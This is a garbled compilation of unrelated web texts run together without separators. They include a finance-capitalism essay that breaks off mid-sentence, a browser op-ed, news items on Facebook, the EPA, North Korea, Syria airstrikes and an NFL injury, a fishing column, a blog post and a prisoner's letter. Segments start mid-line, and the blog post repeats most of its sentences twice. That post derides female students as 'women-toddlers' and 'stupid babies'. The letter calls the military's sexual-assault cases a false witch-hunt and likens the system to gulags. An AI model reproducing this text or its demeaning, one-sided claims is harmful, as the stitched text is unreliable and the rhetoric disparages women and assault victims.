As far as the financial sector was concerned, the fraud and corruption that characterized American railroad speculation and its stock waterings, and the failures of the great international investments in the Suez and the Panama Canals, brought ruin to the bondholders who originally sub-scribed to these projects. But this appeared to be simply part of the growing pains of industrial capitalism. In the end, rationality was expected to win out. In Vol. III of Capital (edited after his death by Engels), Marx expressed an optimistic faith that financial capital would become subordinate to industrial capital. He described the banking system as an ‘integument’ acting increasingly as the planning arm within industrial capitalism, bringing the world economy closer to international socialism.
In England, John Hobson found the taproot of imperialism to be the expansion of finance capital. A debt deflation led to underconsumption within the industrial economies, obliging financial expansion to take the form of a competition for colonies as spheres of influence, although most trade and investment would continue to be focused within the leading industrial nations themselves, for this was where most of the money was located.
In America, emperors of finance and the real estate kings they enthroned were gaining the upper hand over captains of industry. Thorstein Veblen analyzed how pecuniary relations – its financial and monetary structure – distorted the economic system away from how it would be run rationally by engineers. In Germany, whose banking and industrial structures had become more closely integrated than was the case either in England or the United States, the socialist Rudolf Hilferding coined the term ‘finance capitalism’ in 1910.
As England moved toward entry into the Great War, Herbert Somerton Foxwell wrote a series of papers for the Economic Journal expressing concern that continental Europe was winning an industrial edge over his own country precisely because of a more industrially oriented banking sys-tem. English banks had evolved at first out of the merchant banking of the goldsmiths – extending short-term credit to merchants to finance the shipping of goods, especially their importation and exportation – and then by the Bank of England monetizing loans to the government to finance its war debt (the purpose for which the Bank had been created in 1694). From the outset of the Indus-trial Revolution, however, English merchant banks stood aside from financing manufacturing technology. James Watt had financed the steam engine with funds borrowed from his family and friends, and subsequent industrialists were obliged to do the same. Most investment in industrial capital and other means of production was financed out of retained earnings. The commercial banking system limited its activities to advancing ready cash against export orders and extending other short-term business credit, duly collateralized. Matters are still the same way today.
After World War I the Treaty of Versailles saddled Germany with unrepayably large reparations debts. While the country stripped its economy in an attempt to pay these debts, the Allies found themselves strapped by America’s unanticipated demand for payment for the arms it had supplied its military allies. Historically, such debts had been forgiven upon the ending of hostilities. The U.S. demand for payment of these debts virtually obliged England and France to take a hard creditor-oriented line towards Germany.
Financial theorists who insisted that economies could meet any given volume of debt payment or capital transfer represent an intermediate link between the Ricardian bullionists a century earlier and today’s monetarists. Their misguided policies were countered by John Maynard Keynes in England, and Harold Moulton in the United States, recognizing that there were limits to debt-servicing capacity. But governments did not respond to their reasoning, and failure of the 1931 London Economic Conference made the Great Depression inevitable.
Yet capitalism emerged from World War II in such good shape that even Stalin announced to the Comintern that there would be no postwar economic crisis. Unlike the case after World War I, the defeated powers were not burdened with reparations, but were rebuilt free of internal as well as foreign debt. This formed the basis of Germany’s and Japan’s economic miracles. In Germany’s case the Allies cancelled the debts in their Clean Slate of June 1948. Japan found its post-feudal linkage between landed aristocrats, bankers and war industrialists broken by General MacArthur’s land reform and associated bank reforms. The war industry evolved into a forward-looking Ministry of Trade and Industry (MITI).
In the Allied economies, consumers emerged from the war free of debt (for there had been few consumer goods to buy during the war, and hence little reason to borrow), and indeed with abundant savings accumulated during the war. There was no postwar inflation, nor the kind of postwar deflation that had strangled England’s economy after World War I.
Governments were relatively free of debt, as were the business and real estate sectors. Low war-time interest rates had enabled debt maturities to be stretched out, so that interest and principal obligations did not push up the cost of housing or factory output.
It seemed that capitalism’s future would be limited only by technological horizons. Contrary to widespread fears of diminishing returns and resource exhaustion, fuel and mineral prices have declined thanks to better oil and gas extractive techniques, and mining innovations such as large earth-moving equipment and the pelletizing of iron ore. Plastics have replaced non-renewable resources in construction, automobiles and other products.
Indeed, a consumer revolution has occurred with the spread of labor-saving appliances, while a widespread automobile culture has extended home ownership over a broad landscape. Telephone costs have been slashed, while television has developed color transmission and cable TV. The spread of entertainment associated with computerization now enables people to entertain themselves to death, if they so choose.
Transportation costs have been vastly lowered by containerized cargo shipping and less expensive air travel, while space travel and the launching of communications satellites have helped integrate the world economy.
In the sphere of public health, wonder drugs (and DDT) were helping to eradicate major diseases such as malaria, while vaccines inoculated entire populations against polio, smallpox and other maladies. New diagnostic treatments from X-rays to CAT-scans have been accompanied by innovations in microsurgery, organ transplants and genetic engineering. People are now living longer. So-cial security and the funding of long-term pension plans has provided retirement security, while a social welfare net has been spread widely over the population, aided by equal opportunity laws.
What then has gone wrong? As labor productivity has risen and new technological horizons have opened up, why hasn’t everyone become wealthy? Why haven’t these innovations improved the quality of life proportionally?
One problem associated with the new consumer culture has been environmental degradation. Although recognized by mid-19th century economists (especially by American technology theorists such as Erasmus Peshine Smith and Marsh, who coined the term ‘ecology’), this is just one dimension that has been dismissed from the academic economic mainstream as constituting an ‘externali-ty’ (as Chapter 10 will discuss in greater detail).
The most serious problems lie in the financial sphere, where the economy’s debt overhead has grown more rapidly than the ‘real’ economy’s ability to carry this debt. One might call its demands for interest and amortization ‘debt pollution’, stifling the economic environment much as bad air and water plague the earth’s biosphere.
Consumer spending has indeed risen remarkably, but in recent years it has been financed increasingly by debt, whose interest and amortization payments will absorb future earnings. These earnings no longer are rising, but have been drifting downward for most workers. Indeed, if women and ethnic minorities have gained equality in the work place in recent years, it is largely because they have been forced into the job market by a tightening wage squeeze on most families.
One of the most remarkable achievements of recent generations has been the disappearance of world war as an imminent threat. The collapse of Soviet Communism promised an end to the world arms race, yet governments still are running deficits. It is as if the ending of the Cold War has put the class war back in business. Military spending has not declined significantly, and governments throughout the world have now found a new source of budget deficits: tax cuts for the wealthy. In this new economic warfare, the most effective tactic is to offer modest income-tax reductions to the lower classes, while more than making up the difference by shifting taxation onto the shoulders of consumers via excise and value-added taxes, as well as increasing the social security tax levy.
If the world economy is becoming more closely integrated, the financial forces of corporate globalism are leaving less room for national governments to shape the economic environment within which their labor and capital operate. This globalism emanates from the United States, taking a centripetal form rather than spreading the wealth from the wealthy center to the poorer periphery.
Denominating a growing proportion of their public and corporate debt in dollars has vastly in-creased the debt burden for countries with depreciating currencies. It also has locked foreign economies into the orbit of U.S. economic diplomacy, largely by forcing them into dependency on the International Monetary Fund (IMF) its sister institution, the World Bank. These institutions are im-posing the same creditor-oriented monetarism that wrecked the world economy in the 1920s, triggering the Great Depression. Instead of helping the world’s poorer debtor economies develop, the IMF and World Bank programs ‘underdevelop’ them, polarizing their economies between a wealthy top layer and poverty for the vast majority. Turned into a U.S. Cold War arm under the stewardship of Robert McNamara, the World Bank has become a powerful arm of the new global class war, most notoriously Russia and East Asia.
The upshot has been to leave the world’s poorer economies even deeper in debt, and so financially strapped that they are obliged to sell off to international financial institutions whatever assets remain in their public domain. While wealth and incomes have polarized as a result of the active intervention of the World Bank and IMF on behalf of the ruling kleptocracies throughout Africa, Latin America and Asia, the physical environments of these debtor economies have been devastated by the ecological consequences of the World Bank’s raw-materials export programs. Pandemics have broken out as public health programs have been dismantled as domestic budgets have been stripped to service the mounting foreign debt. This has impaired the ability of governments to contain new diseases and undertake ameliorative social spending.
Instead of being used productively, privatization proceeds have been dissipated mainly to finance tax cuts for the wealthy and to un-tax foreign investment, while subsidizing capital flight. Privatization of the political process itself has turned control over to the largest campaign contributors and media owners.
The upshot is quite different from what seemed to be the technological promise of the early industrial postwar years. The world is now confronted with the deindustrialization without having raised living standards for most populations. Labor forces are being downsized without having achieved the prosperity that was promised. What has happened, in a nutshell, is that industrial capitalism has been replaced by full-blown finance capitalism.
Characteristics of today’s rentier capitalism
The drive for capital gains in real estate and the stock market.
Whereas the old industrial capitalism sought profits, the new finance capitalism seeks capital gains mainly in the form of higher land prices and prices for other rent-yielding assets. Partly this is an attempt to sidestep income taxation. Since the income tax was introduced, a growing portion of businesses revenue has been reclassified as non-taxable ‘cash flow’. In the real estate sector – the economy’s dominant sector in terms of asset size – re-depreciation and indeed, over-depreciation of buildings and the payment of mortgage interest leaves almost no taxable income at all! Much the same situation is found in the oil and gas business, in mining and forests, insurance and banking.
The tax collector (a euphemism for taxpayers) suffers as investors across the economic spectrum borrow funds so as to leverage a higher return on equity. Hoping simply to keep a capital gain for themselves, they have been willing to commit virtually all their cash-flow to banks and other lenders.
At least the old industrial capitalists made their profits by building factories and investing in capital equipment to employ wage-labor to produce products and services. Whereas these old capitalists found their epitome in manufacturing, the new rentier capitalism is centered in the FIRE sec-tor. The new objective is to recycle the economy’s savings into real estate and the stock market to bid up land and equity prices, not to create new assets. In the stock market, capital gains are achieved by down-sizing the labor force and scaling back production so as to squeeze out more revenue rather than seeking to expand market share by undertaking new direct investment.
Land, the economy’s largest asset, hardly can be increased, but it can be bid up in price. Like-wise |
. And this time it's different, because Chrome is different, Chrome is pretty good. And WebKit/Blink is open source and doesn't have some of the problems that made IE6 such a web-threatening nightmare.
Would it be different, though? Monocultures are brittle, vulnerable, and difficult to change. Certainly this is true in crops, and it has been true in the past on the web with IE6.
As it happens, this doesn't have to be a theoretical thought exercise. A browser monoculture already exists, though – fortunately – in a contained form. Buy any Apple device and the only browser engine you'll have will be WebKit. You can download Chrome, you can download some weird browser only 15 people have ever downloaded and both of them will behave exactly the same when it comes to rendering pages. That's the predictable sort of world that web designers would love to have.
Fortunately web designers don't run things online because that world, the WebKit-only world of iOS, sucks.
It doesn't just suck because it's perpetually lagging behind on the innovation curve, vulnerable to the capricious whims of a single corporate entity and just plain boring – though all those things are true. What really sucks is that it has no competition, and without competition it has no reason to evolve. This is why it's perpetually lagging behind its peers in features and standards support. It's why it's boring and it's why the web needs Firefox and, yes, IE.
The problem with thinking that the web would be better with only one browser is that it raises the question – better for who? Better for web designers? Maybe, but that's a statistically insignificant portion of the people on the web. Better for users? How?
The usual answer is that things will look the same on every device.
The meteoric, globe-spanning, unprecedented adoption of the internet clearly shows that the billions of people already using the web clearly don't care that it has bugs and sometimes looks different on different devices. When developers say a monoculture is better for users what they mean is that if there were a monoculture the users would always see exactly what developers want them to see.
The web would not, in other words, be so messy. Messy is a thing that web designers and programmers seem to dislike. But the web has always been messy, is still messy and likely will always be messy. The web is never going to look the same everywhere, it's always going to have bugs and it's always going to fail sometimes.
It is the most imperfect large-scale programming task ever undertaken. It is also the most human piece of software ever devised precisely because of these things.
More people participate in the web than any other programming-related thing in the world. People don't dislike the web because it's messy, they embrace it because it's messy and mistakes will be overlooked.
If you attempted to recreate the web in some really clean, precise code (you should totally use Haskell when you do this) you'd have something that would impress the heck out of your programming peers and no one would ever use it –not even your programming peers. Ask how things worked out for the group that specced XHTML 2.
The dream of a single rendering engine is the dream of someone who fails to understand the most fundamental thing about the web – it's a mess, but it's a beautiful, flexible, powerful mess.
The web thrives on diversity. It's the diversity of the web that sustains it and it's the thing that will mean it's still around long after all the monocultures, whether they be browsers or Facebooks or Googles, have long since vanished from the online ecosystem. ®by Brian Childs
It can be difficult to imagine how the 20 cents you give your child each day for a subsidized carton of milk affects the $11 billion the federal government spends annually on school lunch. Especially during an election season a lot of numbers get thrown around and it can be hard to put them into context. One billion dollars for new technology in schools might sound like a lot until you find out that’s the same amount being spent on test preparation.
We’ve put together this infographic on education and spending to help our readers understand how their local school and their child’s education fits in the big picture of American education. We’ve divided the spending into different categories to help you keep track of how what might seem like a small number can really add up.Facebook Faces Trending News Problems After Firing Curators
On Friday, news site Quartz reported that Facebook fired its "news curators" and replaced them with algorithms to compile the news that ends up on Facebook's "Trending" news section. Many users took note when a fake article about Fox News anchor Megyn Kelly was trending.
ROBERT SIEGEL, HOST:
If you've been on Facebook in the last few days, you might have noticed the trending news section has changed. Gone are these succinct summaries of news articles chosen and written by humans and weighted towards traditional outlets like The New York Times, the BBC. In their place, there are now just names - names of celebrities, new tech gadgets, viral videos. Click on the name, and you're led to a page full of news stories and Facebook posts about it.
ARI SHAPIRO, HOST:
Over the weekend, one of those names was Fox News host Megyn Kelly. NPR's Aarti Shahani says users who clicked on her name saw this news story.
AARTI SHAHANI, BYLINE: Fox News commentator Megan Kelly is a Hillary Clinton supporter.
SHAPIRO: And that she had been fired from Fox News for it. To be clear, that is false.
SIEGEL: Now, how could a fictitious article from a sketchy web site make its way to such a prominent place on people's Facebook feeds? Well, back in May, Facebook was accused of suppressing conservative news media in its trending feeds. Facebook denied it.
SHAHANI: But that got members of Congress very upset. Inquiries were started. Testimony had to be given. So basically it became a huge political issue, and for Facebook as a business, it's an issue because Facebook is not trying to be the platform for just one political party or the other. Facebook wants to be everyone's social network.
SHAPIRO: So how do you eliminate bias from a list of the biggest news stories of the day? Leave it up to computers. This past Friday, Facebook made the switch. The company fired its human news curators and publicly announced that algorithms, computer code would be finding and posting the hot topics of the day - no more news curators, no more bias. All it takes for a story to hit the trending list is enough people sharing it with their friends.
SHAHANI: Basically Facebook was hoping that algorithms are going to do more. Humans are going to do less. Bam - problem solved. And you know, within a day or two, we see, no, that's not actually solving the problem. It just creates a new one.
SIEGEL: It turns out if you can't trust a small group of humans not to make errors of judgment, you definitely can't trust a billion people.
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More and more, President Donald Trump’s administration appears to believe that it is above media scrutiny — or at least beyond the reach of press whose agenda doesn’t include puffing up the president.
The New York Times on Saturday published an article about how recently hired industry insiders are loosening the Environmental Protection Agency (EPA)’s rules on multiple poisons including agents that are known to cause birth defects, cancers and immune disorders.
Career scientists and longstanding EPA employees are horrified and attempting to warn the public, even as Trump appointees prepare to give manufacturers, energy companies and chemical conglomerates carte blanche to release some 80,000 toxic chemicals into the air, water and soil.
However, when the Times contacted the agency for more information, spokeswoman Liz Bowman gave a response worthy of now-ousted Fox News attack dog PR flack Irena Briganti.
“No matter how much information we give you, you would never write a fair piece,” Bowman said in an email. “The only thing inappropriate and biased is your continued fixation on writing elitist clickbait trying to attack qualified professionals committed to serving their country.”
Bowman, the Times noted, was an employee of the American Chemistry Council — one of the groups that will directly benefit from loosened regulations — before she was hired by the EPA this year.
The American Chemistry Council came to attention after Hurricane Harvey when a chemical plant operated by the ACC caught fire and burned out of control because unstable toxic chemicals were improperly stored prior to the storm’s arrival.College: Where Young Adults Go To Have Their Minds Taught to Think Like Children Oh, boy. Hundreds of students marched through a 20-foot-tall inflatable vulva at The Arch on Friday afternoon following the unveiling of PUSSYGATE. Student organizers hung the purple vulva from The Arch for students and community members to interact with. Spectators watched, took photos with and walked through the open vulva, which hung on display for more than two hours. Organizers said they wanted students to form their own interpretations of the piece and declined further comment on PUSSYGATE. For many students, PUSSYGATE served as a statement about the perception of vulvas in society. "Vulvas carry a lot of shame in our society," Weinberg senior Ary Hansen said. "It's a statement about equality and about pussy pride." Economically comfortable upper middle class women-toddlers who have never known much in the way of competition, conflict, or challenge sure seem very creative at imagining new, trivial ways in which they're being oppressed. It gives their cush lives some kind of drama, which in turn invests trivial, soft, vapid lives with something that could be mistaken at a distance for meaning. Economically comfortable upper middle class women-toddlers who have never known much in the way of competition, conflict, or challenge sure seem very creative at imagining new, trivial ways in which they're being oppressed. It gives their cush lives some kind of drama, which in turn invests trivial, soft, vapid lives with something that could be mistaken at a distance for meaning. When you've defined "achievement" as learning to name and "accept" your body parts -- well, Sister, you've set yourself up for a long string of easy wins. Because this shit? Is easy as fuck. When you've defined "achievement" as learning to name and "accept" your body parts -- well, Sister, you've set yourself up for a long string of easy wins. Because this shit? Is easy as fuck. Little stupid babies would laugh at the "challenges" you've set your precious minds to "overcome." Little stupid babies would laugh at the "challenges" you've set your precious minds to "overcome." Meanwhile, boys aren't exactly being fed the same message Meanwhile, boys aren't exactly being fed the same message about Penis Pride and overcoming scrotum-shaming. Gettysburg College freshman James Goodman began his first moments of higher education by being lectured by campus leaders about "toxic masculinity," he tells The College Fix in an interview. Students who "identify as male" were shown a docudrama film about masculinity. The film, titled "The Mask You Live In," was part of the lessons warning students that the notion of masculinity comes with harmful side effects, he said. According to the trailer of the film, it teaches that the "three most destructive words" a boy can hear growing up is "be a man." Experts quoted therein also suggest that violent outbursts are prompted by masculinity pressures because "respect is linked to violence." "They really buy into a culture that doesn't value what we feminize," says scholar Dr. Niobe Way in the trailer, continuing that people of both genders will "go crazy" under that construct. It's wrong not to value feminine qualities, say all the people who do not value masculine qualities. It's wrong not to value feminine qualities, say all the people who do not value masculine qualities. Gee, seems to be a bit of disparate treatment. Gee, seems to be a bit of disparate treatment. Well, don't worry about it. In fifty years we'll all be chicks, as Adam Carolla says. The human race will be extinct, and will only be Problematic as a historical, intellectual matter for some advanced star-faring race of xenoanthropologists. Well, don't worry about it. In fifty years we'll all be chicks, as Adam Carolla says. The human race will be extinct, and will only be Problematic as a historical, intellectual matter for some advanced star-faring race of xenoanthropologists. Oh, Oh, and this seems like the sort of important thing adults should be worrying about. You know, there's a part in Brave New World where the ruling class of the future -- simultaneously sexualized down to the level of dogs, and infantilized to the level of, well, infants -- engage in a game called Orgy-Porgy, which is what it sounds like. It's a silly social excuse, masquerading as a "game," to just have an orgy. You know, there's a part inwhere the ruling class of the future -- simultaneously sexualized down to the level of dogs, and infantilized to the level of, well, infants -- engage in a game called Orgy-Porgy, which is what it sounds like. It's a silly social excuse, masquerading as a "game," to just have an orgy. I would say Brave New World is here. I would say Brave New World is here. Posted by: Ace at 06:44 PM
MuNuvians MeeNuvians Polls! Polls! Polls! Frequently Asked Questions The (Almost) Complete Paul Anka Integrity Kick Top Top Tens Greatest Hitjobs News/ChatNorth Korea is in the final stages of preparing for another nuclear test, which could come in the next few days, U.S. officials with knowledge of the most recent intelligence from the region told Fox News.
“The test could come as early as the end of the month,” said one official.
U.S. defense officials have seen evidence that North Korea has completed digging new tunnels around the Punggye-ri nuclear test site, but it still has to move more equipment into the area for a possible test, the official added. The Pentagon is keeping a close eye on these looming developments.
North Korea’s nuclear preparations prompted the U.S. military in recent days to move a surveillance aircraft used to test the air following nuclear explosions to the region. The Air Force WC-135 Constant Phoenix arrived in Japan and will be used to patrol the area off the Korean peninsula in the coming days, according to a separate official.
Secretary of State Rex Tillerson was in Beijing last weekend to press the case about what to do about North Korea’s erratic leader and his drive to develop an intercontinental ballistic missile capable of reaching the United States.
North Korea first conducted a nuclear test in 2006. Last year, it carried out two additional tests.
© FoxNews.com Retired U.S. Navy Captain Bob Wells weighs in Secretary Tillerson declared the Obama-era policy of “strategic patience” was over when dealing with North Korea and called the past 20 years of negotiating with the communist regime by past administrations a failure.
The U.S. military is not the only nation concerned about North Korea’s pending nuke test.
Recent satellite imagery reveals Russia has moved one of its Antonov An-30R reconnaissance aircraft with air sample pods from its base outside of St. Petersburg. The Russian aircraft is used to take air samples to detect possible nuclear, biological and other chemical agents.
U.S. officials have seen evidence that North Korea’s 33-year-old dictator, Kim Jong-un, checked into a new residence near the test site of a failed missile launch Wednesday near the port city of Wonsan on North Korea’s east coast, according to one official. Wonsan is located six hours south of the nuclear test site.
The Pentagon is increasingly concerned about North Korea’s ability to miniaturize a nuclear warhead and eventually place it on a ballistic missile. Each missile brings North Korea closer to achieving that goal, according to defense analysts.
In his New Year’s address, Kim Jong-un said his nation has “entered the final stage of preparation for the test launch of intercontinental ballistic missiles.”
Earlier this month North Korea launched four ballistic missiles, which landed 190 miles from Japan, an indication North Korea was simulating a more sophisticated attack to overwhelm anti-ballistic missile systems in Japan.
Roughly 80,000 U.S. troops are stationed in South Korea and Japan.
Last month, North Korea conducted its first ballistic missile test of the Trump administration while the president hosted Japan’s Prime Minister Shinzo Abe at his Mar-a-Lago Club in Florida.This article is over 1 year old
The air force will recommence bombing of Isis targets after a suspension sparked by Russian threats to shoot down planes
Australia will resume air combat missions over Syria after the Australian Defence Force lifted a temporary suspension initially sparked by Russian threats to shoot down coalition planes.
The defence department declared the suspension on Tuesday after Russia threatened to shoot down any plane from the US-led coalition they spotted flying west of the Euphrates river.
The threat was seen as retaliation for the US downing of a Syrian air force jet on Sunday, as tensions in the region rose.
On Thursday the ADF announced it would resume airstrikes against Islamic State targets in Syria and Iraq.
‘The war after Isis’: has Trump opened the door to conflict with Iran? Read more
“This was a precautionary measure to allow the coalition to assess the operational risk,” a department statement said on Thursday. “The suspension has since been lifted.”
The department has not specified how long the suspension lasted. It did not say if Australian airstrikes had resumed or when or if they would.
Australian Defence Force Chief Mark Binskin said on Wednesday the operations were halted while the Australians examined what was happening in what he had described as a “complex piece of airspace” over Syria.
The defence minister, Marise Payne, said on Wednesday that Australian “force protection is uppermost in our minds” in deciding when to resume missions over Syria.
Binskin said the fighter jets had been occupied recently supporting Iraqi security forces in retaking the city of Mosul, so the suspension had little effect on their operations.
Tuesday’s suspension was taken to allow coalition forces to assess the operational risk of air strikes, defence said, as US-backed forces seek to take back the city of Raqqa.
The Russian foreign ministry stressed that it would only be tracking coalition planes, but that “a threat for those jets may appear” if they were deemed to pose a threat to Russian aircraft.
The statement came amid an increased US bombing campaign and Sunday’s downing of a Syrian jet, the first since the start of the civil war six years ago.
US central command claimed the jet had dropped bombs near the US-backed Syrian Democratic Forces and had been shot down “in collective self-defense”.
Australia has six fighter F/A-18 Super Hornet aircraft, based in the United Arab Emirates, that strike targets in Syria and Iraq. Air sorties over Iraq continued during the temporary stay.As a prominent member of the Family Research Council, Josh Duggar, one of the children from TLC’s 19 Kids and Counting, was well-known for espousing numerous conservative talking points about liberalism’s corrosive effect on children.
Yesterday, Duggar stepped down from the FRC after admitting to sexually assaulting five underage girls, possibly his sisters, when he was a teenager.
Here are five examples of the times in which he asked people to Think Of The Children:
That Time He Was Anti-Abortion Because It Makes Children “Feel Pain”:
That Time He Went on the FRC’s Radio Station to Say A Proposed Arkansas Anti-Discrimination Law Would Endanger “the Well-Being of Women and Children”
Via Right Wing Watch:
That Time He Said That He Actually Loved the LGBT Community in Spite of Their Child-Molesting Ways
Via TheHollywoodGossip.com:
He and his guest, Baptist pastor Richard Land, said gays and lesbians should be thankful that Christians are trying to free them from a “sad, lonely lifestyle.” “It’s such a sad, lonely lifestyle,” said Land. “It just seemed to me that one of the cruelest jokes the devil has ever played is to have a lifestyle described as ‘gay.’” Josh Duggar said that LGBT activists are “very vocal about their side,” but as Christians, “We have got to stand up in love” for what is truly righteous.
That Time Josh’s Dad Went to His Son’s Workplace Gathering and Called Abortion a “Baby Holocaust”
This is Jim Bob Duggar during a speech at FRC Action Group, where his son was Executive Director:
Actually, Let’s Just Look At What the Family Research Council Believes, Because He’s Their Lobbyist
The FRC has long alleged that links exist between homosexuality and pedophilia, that same-sex marriage puts children at risk because it somehow causes more single-parent households, and that the gay agenda is being taught to children in schools. Duggar served as the Executive Director of the FRC’s lobbying arm, meaning that his everyday job was to advance these positions in the public space and to government officials. As his now-deleted biography from their website stated:
Drawing from his unique experiences in family, entertainment, politics and business, Josh seeks to use his God-given platform to encourage others to be engaged in the political process.
With that, it may be pointless to try and find more examples.
[Image via Josh Duggar/Twitter]
—
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Have a tip we should know? tips@mediaite.comPhoto by Luke Nilsson
A lot of lures hit my desk. Most come from the huge companies wanting to show off their latest designs, or from small shops hoping to catch their big break.
Many of them are smart and innovative—but none are as genius as the package of homemade jigs I received this spring from an 82-year-old retired Missouri farmer. Howard Dickey included a letter with his lures, and his reason for sending them wasn’t fame or money.
“I was hoping you might write an article about my lures,” he wrote, “just to capture the imagination of fellow bass fishermen.”
They certainly captured mine, so I called Dickey for the story. Using electrical solder, Dickey attaches a 1/0 weighted wide-gap worm hook to a small alligator clip. He paints the clip—sometimes adding stick-on eyes—and finishes the lure with a rubber skirt. The creation resembles a jig, but its brilliance rests in the clip: Dickey pins a live shiner, worm, crayfish, or soft-plastic lure crossways in the clip’s mouth.
Underwater, the whole package mimics a predator eating prey, and according to Dickey it makes big, territorial bass really mad.
“I used to walk along the strip pits early in the morning and watch the way bass fed in the shallows,” Dickey told me. “What I figured out is that if something swims into a bass’s territory and takes away its food, it attacks.”
Dickey claims his jigs get bass so fired up that when they strike, they nearly rip the rod out of his hands.
“I’ve lost two rods over the years. I’ve learned to anticipate the strike and hold on tight.”
A live shiner wriggling in the clip’s jaws is Dickey’s top producer—especially when he fishes the jig below a cork—but he’s also had success working the lure more aggressively with soft-plastic worms and shad, as well as nightcrawlers. To keep the clip from squishing live worms, Dickey threads a small piece of a clear drinking straw onto the bait’s midsection for clipping it into place. Dickey made his first alligator-clip jig in 1962, and the lure currently resides in only about seven tackle boxes in the country.
Or I guess eight if you count mine. I plan on making my own, though, because I genuinely believe they’ll catch big bass this summer. And because I’d feel terrible if I lost any of my Howard Dickey originals.Robert Griffin III's season is in jeopardy after the Washington Redskins star dislocated his left ankle in the first quarter of Sunday's win over the Jacksonville Jaguars.
Redskins coach Jay Gruden did not offer a timetable for Griffin's return, announcing that the third-year quarterback will undergo an MRI on Monday to determine the extent of the injury. He likely would miss the rest of the season if the medical tests determined that he needs surgery.
Editor's Picks Keim: Griffin knew something was wrong When Robert Griffin injured his ankle on Sunday, he said he looked down and knew something was wrong and was in excruciating pain, writes John Keim.
"I know he's sick about it, and I'm sick about it for him," Gruden said. "But he will get well, and he will get well as soon as he can.... We're sick about it, but now we have to move forward."
Griffin, 24, said he is trying to stay positive despite the potential of a season-ending injury.
"I'm just trying to stay in a good place," he said. "Our spirits are high -- we're always thinking positive. We'll see what happens tomorrow, and whatever information comes out, we'll know what the timetable is from there."
Griffin suffered the injury while making an acrobatic, leaping, across-the-body throw near the sideline while being pursued by linebacker Paul Posluszny. Griffin landed awkwardly on his ankle as he finished the throw, then tumbled out of bounds.
"You never want to get hurt," Griffin said. "You want to be out there and be available for your teammates. It's just an unfortunate situation because it wasn't on a hit or anything. It's just something that happened.
"In moments like these, you've just got to keep the faith, stay with it and just believe that everything happens for a reason."
Robert Griffin III was carted to the locker room after suffering an ankle injury. Patrick Smith/Getty Images
While play continued, Griffin's leg was placed in a splint. He wiped his brow and waved, saluted and gave a thumbs-up signal to the crowd as he was carted along the sideline toward the players' tunnel.
"It's an excruciating pain, but I think anytime you look at your ankle and it's in a different direction, you're probably not going to try to get up," he said. "I was just trying to make sure I wasn't doing any more damage to it, so I just stayed there and waited for the trainers to come and help me get up and on the cart."
It was the latest setback in what has been a promising but injury-marred career for Griffin, who missed all or part of four games in his record-setting rookie season of 2012 due to various injuries, including a torn right ACL that led to reconstructive knee surgery.
Griffin, who also tore his right ACL in college at Baylor, was replaced by Kirk Cousins, who passed for 250 yards and two touchdowns in Washington's 41-10 victory.
"Things happen in pro football," Gruden said. "Starters get hurt, and backups have to come in. This is an extreme circumstance, but Kirk is more than ready to take over."As first reported by the National Coalition for Men, U.S. Army Major Kit Martin, recently released from custody shares his thoughts from behind bars. -Eds
Joint Regional Correctional Facility (JRCF) Fort Leavenworth, Kansas
After two and a half months in confinement, county and federal, I have to ask the question “what is the purpose of prison?” Is it to punish? Is it to correct? How are those supposed to occur by locking someone up away from their family, friends, and community? How is this supposed to help their family by taking away the human and financial support from spouses and children? Are we not just creating more of a welfare state? The U.S. has 5% of the world’s population, but 25% of the world’s prisoners. We are now the new Soviet Union, locking people away in “gulags.”
This is especially heinous when you look at what is being done to U.S. veterans. Looking at the confinement reports and other FOIA requests you can see that Court Martials are up 550% since 2007. Convictions are similarly growing exponentially. Army prisoners are up from 119 in 2010 to 593 in 2014. This is due primarily to the false sexual assault “epidemic.” This is a politically motivated narrative, almost identical to what is happening in our universities.
This is ironic since a review of Americas crime statistics (disastercenter.com) shows nationwide rape and sexual assault is at a 24 year low. Despite this the Sexual Assault Witch-hunt in the military has sexual assault convictions up from 2010 to 2015 from 24 to 427. This includes a threefold increase in 2015. Currently women make up over 15% of military, but amazingly 2015 was the first year a female (at least in the recent past) committed a crime worthy of prison. There was one female prisoner in 2015 compared to 802 military men. A fair and balanced system? I don’t think so.
U.S. Veteran men are now the new political prisoners of the world, the real expendables. After years of putting their lives on the line for their country, and sacrificing irreplaceable family time, their country is now railroading them into prison. Their families that also sacrificed so much are being left alone again, but now without any income and security. That money is being given to reward false accusers. This is all being done so that military leaders can show politicians that they are tough on sexual crimes and deserve to keep their convening authority power. This is legal power few of them even understand. It is the ultimate betrayal.
One day these men were considered heroes, the next day they are zeros. They are labeled for life as sex offenders and felons, usually based off of a single false allegation by an ex-spouse, girlfriend, or even a neighbor. When things are bad and a service member is having a hard time, you can always count on the military to make them worse. After years of working to earn rank and respect these combat veterans are now being treated like children, and guarded by children too. Most guards are teenage privates straight out of high school and basic training.
When I was a teenage private I would have been too humbled to even speak to a real veteran such as my current brothers I am confined with now. I was in awe of real Soldiers that had actually fought in a war. Men who were Paratroopers, Rangers, pilots, etc. they were like gods to me. After 30 years and several deployments I am all of those things, what I always wanted to be. I am one of them and proud to be so. My military family is proud of me too. In fact, they couldn’t be prouder if I had won the Congressional Medal of Honor.
Yet here I sit, in a small cold cell. But I would rather be here with my brothers than having to associate with REMFs such as crooked JAG lawyers, CID investigators, and self-serving gutless “leaders.” If Americans only knew what was going on would they take the time to do something? Would they contact their representatives and complain and demand change, or would they just watch another funny pet video online instead?
What will happen to our country as our military is transformed to appease misandric politicians? It is no longer a defense against foreign aggression, the last resort, it is now a bastion of elitist feminism. Who will take responsibility for its future epic failure in the next real war? Success has many (sorry) mothers, failure has none.
My brothers are labeled rapists and abusers. After a “thank you for your service” welcome home (something Vietnam veterans like my dad never got) they have been locked away without the same constitutional rights they risked all to defend. They served and protected the rights of those that wouldn’t or couldn’t serve themselves. These veterans are so dangerous that 45 of us often sit around guarded by a single teenage female private, all 4’9” and 90-pounds of her.
Most of these men are fathers of teenage daughters themselves and the funny thing is they would give their lives without a moment’s hesitation to protect these same guards. When we must be escorted it is again by these teenage “Soldiers” that have never seen combat or have any idea what the real army was like. Their army is one of stress cards, sexual assault training, and political correctness.
Many of them are good people doing the best they can, but they are not real Soldiers and their “leaders” know better. They know the truth of what is happening to our veterans and yet they do nothing. Privately they will admit it to you, but publicly they hide from it, serving evil and corrupt masters. Like most of the inmates they think they can retire or get out before they are victimized. Many have cheating or abusive spouses, but they know they can do nothing. They must endure the humiliation because just like the Soviet Union or Nazi Germany, it only takes one phone call and the machine will turn on them. The machine spares no one except the very powerful, like presidential candidates or famous generals. The hypocrisy does not choke the machine; it grinds on looking for easier pickings. The young Soldier, the poor Soldier, the less educated Soldier. They are the true expendables.
